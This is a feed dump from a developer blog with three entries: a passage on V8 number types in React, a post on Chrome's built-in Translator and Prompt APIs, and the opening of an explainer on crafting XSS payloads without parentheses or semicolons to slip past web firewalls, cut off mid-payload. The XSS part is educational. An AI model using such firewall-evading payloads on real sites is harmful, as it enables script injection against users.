punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The question arises: why is the initial value here -0 instead of 0? What is the difference between these two?</p><p>In even older versions, it was first assigned as NaN before becoming 0. What kind of magic is this?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>All of this is related to the underlying operations of V8 and a bug.</p><p>Regarding this matter, V8 itself has a blog post: <a href="https://v8.dev/blog/react-cliff">The story of a V8 performance cliff in React</a>, which explains it very well. Please read this article yourself or look at it with AI; I won’t repeat it here, and will only mention the conclusions and key points below.</p><p>First of all, although we all know that in the JavaScript specification, <a href="https://blog.huli.tw/2022/02/25/en/javascript-how-many-types/#6-number">all numbers are doubles</a>, the JavaScript engine does not necessarily implement it that way. After all, if every number were stored as a 64-bit double, there would be both space and performance issues, and integer addition and subtraction would also be floating-point operations, which is unbearable.</p><p>Therefore, in the V8 engine, numbers are actually divided into two types: one is a 32-bit int called a small integer, abbreviated as Smi, and the other is truly a floating-point number, called HeapNumber. The two types are stored in different locations, with floating-point numbers needing to be stored in the heap.</p><p>To optimize objects, they are associated with something called a shape when stored, similar to the metadata of the object, which stores the type and offset of each value. Similarly, objects of the same interface will share the same shape.</p><p>When the type of an object value changes, this shape will also change. For example, if it changes from Smi to double, a new shape will be created.</p><p>The bug in V8 can be simply described as follows: in the React profiler, certain values are initially initialized to 0, with the type being Smi. Then, <code>Object.preventExtensions</code> is used to prevent new properties from being added, and this value is changed to a floating-point number (the return value of <code>performance.now()</code>).</p><p>This behavior causes V8 to break, as it does not know how to handle the change in shape, resulting in the creation of an entirely new shape. Moreover, this issue is not limited to just one object; all similar objects cannot share the shape and instead each have their own.</p><p>Although most people may not notice this underlying difference, when React is tested with a large number of nodes, the difference becomes apparent as the base increases, evolving into a performance issue.</p><p>Although V8 has fixed the bug, so this issue no longer exists, React has also made a fix. For instance, the NaN mentioned earlier is set to NaN because it is fundamentally a floating-point number rather than Smi. The current version being -0 is for the same reason; -0 is a floating-point number, while 0 is Smi.</p><p>When both the initial value and the subsequent value are floating-point numbers, there will be no issue with the change in shape, and thus the V8 bug will not be encountered.</p><p>However, have you ever thought about how to determine that NaN and -0 are floating-point numbers?</p><h3><span id="looking-at-underlying-types-from-v8-bytecode">Looking at Underlying Types from V8 Bytecode</span></h3><p>Aside from translating specifications, compiling code into V8 bytecode is actually a good method. For example, consider the following function:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> x <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token operator">/</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span><span class="token punctuation">&#125;</span><span class="token constant">AAAAA</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After compiling with the command <code>node --print-bytecode test.js &gt; out</code>, the result is:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">[</span>generated bytecode <span class="token keyword">for</span> <span class="token keyword">function</span><span class="token operator">:</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token number">0x31bb2f7de971</span> <span class="token operator">&lt;</span>SharedFunctionInfo <span class="token constant">AAAAA</span><span class="token operator">></span><span class="token punctuation">)</span><span class="token punctuation">]</span>Bytecode length<span class="token operator">:</span> <span class="token number">41</span>Parameter count <span class="token number">1</span>Register count <span class="token number">2</span>Frame size <span class="token number">16</span>Bytecode age<span class="token operator">:</span> <span class="token number">0</span>   <span class="token number">62</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df776</span> @    <span class="token number">0</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df778</span> @    <span class="token number">2</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df779</span> @    <span class="token number">3</span> <span class="token operator">:</span> 0c                LdaZero         <span class="token number">0x31bb2f7df77a</span> @    <span class="token number">4</span> <span class="token operator">:</span> c3                Star1   <span class="token number">62</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77b</span> @    <span class="token number">5</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">00</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>   <span class="token number">73</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77f</span> @    <span class="token number">9</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df781</span> @   <span class="token number">11</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df782</span> @   <span class="token number">12</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">00</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df784</span> @   <span class="token number">14</span> <span class="token operator">:</span> c3                Star1   <span class="token number">73</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df785</span> @   <span class="token number">15</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">02</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>   <span class="token number">85</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df789</span> @   <span class="token number">19</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78b</span> @   <span class="token number">21</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df78c</span> @   <span class="token number">22</span> <span class="token operator">:</span> 0d <span class="token number">03</span>             LdaSmi <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78e</span> @   <span class="token number">24</span> <span class="token operator">:</span> c3                Star1   <span class="token number">85</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df78f</span> @   <span class="token number">25</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">04</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span>   <span class="token number">96</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df793</span> @   <span class="token number">29</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df795</span> @   <span class="token number">31</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df796</span> @   <span class="token number">32</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">01</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df798</span> @   <span class="token number">34</span> <span class="token operator">:</span> c3                Star1   <span class="token number">96</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df799</span> @   <span class="token number">35</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">06</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df79d</span> @   <span class="token number">39</span> <span class="token operator">:</span> 0e                LdaUndefined  <span class="token number">114</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df79e</span> @   <span class="token number">40</span> <span class="token operator">:</span> a9                ReturnConstant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span>Handler <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span>Source Position <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df7a1</span> <span class="token operator">&lt;</span>ByteArray<span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can see that 3 is directly <code>LdaSmi</code>, indicating it is Smi, while -0 and NaN are <code>LdaConstant</code>, loaded from the constant pool, which contains:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Constant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It is clear that both of these are heap numbers and do not belong to Smi.</p><p>From a theoretical perspective, NaN cannot be Smi because NaN is defined in IEEE 754, and -0 requires the negative sign, which does not exist in int, so it can only be a double.</p><p>In any case, if you encounter confusion regarding underlying types in the future, you can compile to bytecode for confirmation; it is straightforward.</p><h2><span id="summary">Summary</span></h2><p>In this article, we learned several things from the React source code:</p><ol><li>The purpose of Symbol, which can utilize its non-serializable feature to ensure that it cannot be constructed externally.</li><li>The triggering timing and characteristics of various asynchronous functions such as <code>requestIdleCallback</code>, <code>requestAnimationFrame</code>, <code>MessageChannel</code>, and <code>setTimeout</code>, as well as how React arranges tasks at a lower level.</li><li>While all JavaScript numbers appear to be 64-bit doubles in specifications, V8 actually differentiates between Smi and double at a lower level, which can be confirmed using bytecode.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I shared this topic at the online pre-event of &lt;a href=&quot;https://2025.jsdc.tw/&quot;&gt;JSDC&lt;/a&gt;. Since I already shared it, I thought it would be good to write an article. The inspiration and content of this article actually come from &lt;a href=&quot;https://www.tenlong.com.tw/products/9786267757048&quot;&gt;“JavaScript Relearning”&lt;/a&gt; (only available in Chinese). When I wrote the book, I referenced some elements from the React source code, and this article is just a reorganization and rewriting of the various React-related chapters that were originally scattered throughout the book.&lt;/p&gt;
&lt;p&gt;I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.&lt;/p&gt;
&lt;p&gt;This article is divided into three small sections:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;XSS Vulnerabilities in Older Versions of React&lt;/li&gt;
&lt;li&gt;Learning the Event Loop from React Fiber&lt;/li&gt;
&lt;li&gt;Learning Underlying Mechanics from V8 Bugs&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Chrome&#39;s Built-in Translation and Prompt API</title>
    <link href="https://blog.huli.tw/2025/09/27/en/chrome-built-in-prompt-api/"/>
    <id>https://blog.huli.tw/2025/09/27/en/chrome-built-in-prompt-api/</id>
    <published>2025-09-26T21:50:00.000Z</published>
    <updated>2025-09-27T07:26:31.509Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, a reader shared with me a Chrome extension he created: <a href="https://github.com/Stevetanus/JPNEWS-helper/tree/main">JP NEWS Helper</a>, which can summarize and translate articles from NHK News Easy, helping to learn Japanese.</p><p>Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.</p><p>It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.</p><span id="more"></span><h2><span id="chromes-built-in-ai-related-apis">Chrome’s Built-in AI Related APIs</span></h2><p>If you want to watch the official Google video directly, you can refer to this: <a href="https://www.youtube.com/watch?v=8iIvAMZ-XYU">The future of Chrome Extensions with Gemini in your browser</a>. For a text version, you can check this article: <a href="https://developer.chrome.com/docs/ai/built-in-apis">Built-in AI API</a>.</p><p>Starting from version 138 (as of writing this article, the latest stable version is 140), Chrome provides three built-in Web APIs:</p><ol><li>Translator API, for translation</li><li>Language Detector API, for detecting languages</li><li>Summarizer API, for summarizing articles</li></ol><p>These three APIs require downloading some small models before use, and the overall usage is super simple. Below is an example using the translation feature.</p><p>First, you need to check if it’s available and whether you need to download:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> translator <span class="token operator">=</span> <span class="token keyword">await</span> Translator<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">sourceLanguage</span><span class="token operator">:</span> <span class="token string">'en'</span><span class="token punctuation">,</span>  <span class="token literal-property property">targetLanguage</span><span class="token operator">:</span> <span class="token string">'zh-TW'</span><span class="token punctuation">,</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Downloaded </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token punctuation">.</span>loaded <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>That monitor is used to track the download progress, and for translation, it can be downloaded quite quickly.</p><p>Once downloaded, you can translate with just one line of code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> translator<span class="token punctuation">.</span><span class="token function">translate</span><span class="token punctuation">(</span><span class="token string">'How are you?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>That’s it, super simple.</p><p>However, I tried it out, and the quality of the translation wasn’t very good; it still can’t compare to using a real large LLM model. But having this feature built directly into the Web API is already a significant improvement.</p><h2><span id="prompt-api">Prompt API</span></h2><p>In addition to the three mentioned at the beginning, there are also a few other APIs still in testing, such as the prompt API, which allows you to directly input prompts, similar to using ChatGPT and other APIs. Currently, to use it, you need to apply for an origin trial to get a key. I previously wrote about how to apply: <a href="https://blog.huli.tw/2022/02/02/en/origin-trials-try-new-feature/">Try New Features Early Through Chrome Origin Trials</a>.</p><p>I created a demo website; feel free to check it out. Since the prompt API model is quite large, it’s recommended to download it in a non-mobile network environment, otherwise, the data usage might spike.</p><p>Additionally, since this API is still in the testing phase, there may be some issues. At first, I had no problems playing around with it, but later it seemed I hit some bug, and every time I asked the AI, it would cause a system-level panic, causing my entire Mac to crash and restart.</p><p><a href="https://aszx87410.github.io/demo/ai/prompt-api.html">https://aszx87410.github.io/demo/ai/prompt-api.html</a></p><p>The usage of this API is also super simple. The first step is to check availability and download:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function">monitor</span><span class="token punctuation">(</span><span class="token parameter">m</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    m<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'downloadprogress'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">updateProgress</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>loaded <span class="token operator">>=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">updateStatus</span><span class="token punctuation">(</span><span class="token string">'✅ ready'</span><span class="token punctuation">,</span> <span class="token string">'available'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Once downloaded, you can use it:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> session <span class="token operator">=</span> <span class="token keyword">await</span> LanguageModel<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> response <span class="token operator">=</span> <span class="token keyword">await</span> session<span class="token punctuation">.</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">'What can you do?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>response<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>There are more parameters you can adjust, and it can support more complex conversations; the above is just a very basic example.</p><p>Although the model isn’t large and the capabilities are not as extensive as other large models, having a small model that can run locally in the browser can already offload some tasks that would otherwise require an API key.</p><p>Now Chrome is also increasingly proactive in packaging small models directly within, providing more native AI features, and in the future, developers can use these Web APIs to develop products without needing to prepare their own backend.</p><h2><span id="what-about-other-browsers">What about other browsers?</span></h2><p>The Translation API was officially released with Chrome 138, and Google has set related standards. However, Firefox and Safari are still in very early stages.</p><p>Firefox is currently <a href="https://github.com/mozilla/standards-positions/issues/1015">not very satisfied</a> with the API design and has proposed another <a href="https://github.com/mozilla/explainers/blob/main/translation.md">version</a>. Safari also has some privacy and security <a href="https://github.com/WebKit/standards-positions/issues/339">considerations</a> regarding the current approach, and it seems there hasn’t been much progress.</p><p>As for other more powerful APIs like the Prompt API, Firefox has given a <a href="https://github.com/mozilla/standards-positions/issues/1213#issuecomment-2950074313">negative</a> response to the current proposal, while there seems to be no news from Safari <a href="https://github.com/WebKit/standards-positions/issues/495">on that front</a>.</p><p>Therefore, the things mentioned in this article are currently only available in Chromium-based browsers like Chrome and Edge. Whether other browsers will catch up in the future remains uncertain.</p><h2><span id="conclusion">Conclusion</span></h2><p>The integration of various AI with existing products is imperative, and browsers, being applications that users heavily rely on, are a battleground for competition.</p><p>For example, Perplexity has launched a <a href="https://www.perplexity.ai/comet">Comet Browser</a>, and Chrome is increasingly incorporating built-in AI features.</p><p>If AI is not misleading me, the current Prompt API in Chrome uses <a href="https://ai.google.dev/gemma/docs">Gemma</a>, while Edge uses <a href="https://azure.microsoft.com/en-us/products/phi">Phi</a>.</p><p>As the AI models built into browsers evolve, the capabilities will expand. However, given the current situation, the models that can run locally are definitely very limited, as the available resources are constrained, and their performance is not as good as those large models. But it is worth keeping an eye on the future, as they should continue to evolve.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, a reader shared with me a Chrome extension he created: &lt;a href=&quot;https://github.com/Stevetanus/JPNEWS-helper/tree/main&quot;&gt;JP NEWS Helper&lt;/a&gt;, which can summarize and translate articles from NHK News Easy, helping to learn Japanese.&lt;/p&gt;
&lt;p&gt;Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.&lt;/p&gt;
&lt;p&gt;It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Explaining XSS without parentheses and semi-colons</title>
    <link href="https://blog.huli.tw/2025/09/15/en/xss-without-semicolon-and-parentheses/"/>
    <id>https://blog.huli.tw/2025/09/15/en/xss-without-semicolon-and-parentheses/</id>
    <published>2025-09-14T20:50:00.000Z</published>
    <updated>2025-09-15T05:42:31.235Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I received an email from a reader asking if I could write an article explaining <a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a>, saying that the payloads in it were hard to understand.</p><p>Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:</p><ol><li><a href="https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses">XSS technique without parentheses</a></li><li><a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a></li></ol><span id="more"></span><h2><span id="why-do-we-need-such-payloads">Why do we need such payloads?</span></h2><p>Some might wonder, since we can execute JavaScript, why impose so many restrictions? The biggest reason is: WAF (Web Application Firewall). The most common one is Cloudflare’s WAF, which blocks you at the slightest hint of trouble. Even if you can insert HTML or even execute JavaScript, as long as it contains certain patterns, it will be blocked directly.</p><p>Moreover, certain situations may render some characters unusable, and at that point, creativity is needed to find ways to construct executable code without those characters.</p><h2><span id="starting-with-no-parentheses">Starting with no parentheses</span></h2><p>In JavaScript, it seems that to execute a function, parentheses are necessary. So what if we can’t use parentheses?</p><h3><span id="tagged-template-strings">Tagged template strings</span></h3><p>The first method is something some developers may have used but might not think of immediately. Certain JavaScript libraries use template strings to execute functions, such as <a href="https://github.com/porsager/postgres?tab=readme-ov-file#usage">Postgres.js</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getUsersOver</span><span class="token punctuation">(</span><span class="token parameter">age</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> users <span class="token operator">=</span> <span class="token keyword">await</span> sql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    select      name,      age    from users    where age > </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span> age <span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">  </span><span class="token template-punctuation string">`</span></span>  <span class="token comment">// users = Result [&#123; name: "Walter", age: 80 &#125;, &#123; name: 'Murray', age: 68 &#125;, ...]</span>  <span class="token keyword">return</span> users<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Those unfamiliar might wonder how this is written; isn’t it an SQL injection vulnerability?</p><p>If only template strings were used, then indeed it would be, but note that there is an additional <code>sql</code> at the front, which changes things. It is not just simple string concatenation; it is function execution, which is a JavaScript syntax. You can see the example below:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>args<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'huli'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">!!!</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'good'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">~~</span><span class="token template-punctuation string">`</span></span><span class="token comment">// [['Hello ', '!!!', '~~'], 'huli', 'good']</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When we add a function at the front, the function’s parameters will receive the fixed parts of the original string and the inserted variables, allowing us to use this information for sanitization to avoid SQL injection. This usage is called tagged template strings.</p><p>The final effect is that it looks like a simple string replacement, but behind it is function execution with sanitization, making it safe.</p><p>Using this concept, we can write an XSS payload that does not require parentheses:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">alert<span class="token template-string"><span 